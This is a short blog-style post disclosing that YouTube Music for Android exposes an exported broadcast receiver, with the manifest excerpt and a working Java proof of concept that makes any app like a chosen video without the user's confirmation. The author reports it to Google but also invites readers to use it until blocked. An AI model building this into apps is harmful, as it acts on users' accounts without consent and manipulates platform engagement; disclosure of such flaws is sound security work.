Youtube Music for Android: Like/dislike any video without user confirmation

Hi!

Today I would like to post short tutorial about how your Android app may like/dislike any youtube video without user confirmation. [last check 14.02.2024]

Youtube Music for Android has exported PendingIntentReceiver defined in AndroidMafest.xml

        <receiver android:name="com.google.android.apps.youtube.music.player.widget.base.PendingIntentReceiver" android:exported="true">
            <intent-filter>
                <action android:name="com.google.android.youtube.music.pendingintent.controller_widget_play"/>
                <action android:name="com.google.android.youtube.music.pendingintent.controller_widget_pause"/>
                <action android:name="com.google.android.youtube.music.pendingintent.controller_widget_replay"/>
                <action android:name="com.google.android.youtube.music.pendingintent.controller_widget_retry"/>
                <action android:name="com.google.android.youtube.music.pendingintent.controller_widget_previous"/>
                <action android:name="com.google.android.youtube.music.pendingintent.controller_widget_next"/>
                <action android:name="com.google.android.youtube.music.pendingintent.controller_widget_dislike"/>
                <action android:name="com.google.android.youtube.music.pendingintent.controller_widget_like"/>
                <action android:name="com.google.android.youtube.music.pendingintent.controller_widget_launch_app"/>
                <action android:name="com.google.android.youtube.music.pendingintent.controller_widget_request_data"/>
            </intent-filter>
        </receiver>

If user watches/listens something in Youtube Music than it is possible to send "com.google.android.youtube.music.pendingintent.controller_widget_like" intent to like/dislike currently opened content.

We may launch Youtube Music with our url on any music/video and then send broadcast intent to like this content without user confirmation:

public void onLikeButtonClicked(final View view) {
    String url = mEditText.getText().toString();
    Intent songIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(url));

    final Intent likeIntent = new Intent("com.google.android.youtube.music.pendingintent.controller_widget_like");
    likeIntent.putExtra("widget_key", "111");
    likeIntent.setClassName("com.google.android.apps.youtube.music", "com.google.android.apps.youtube.music.player.widget.base.PendingIntentReceiver");

    mHandler.postDelayed(new Runnable() {
        @Override
        public void run() {
            sendBroadcast(likeIntent);
        }
    }, 3000);

    startActivity(songIntent);
}

Here is a simple code which likes "url" value. First we need to launch Youtube Music with that url and than we send broadcast to like this video.

This "feature" is not a security issue, so you may use it until you are not blocked by Google :))), because as I understand Google abuse mechanisms prevent such artificial suspicious video likes, that is why this was not fixed.

Initialy it was reported to Google Mobile Security Program: 01.12.2023 

After long discussion the issue was reopened and may be it will be fixed sometime:))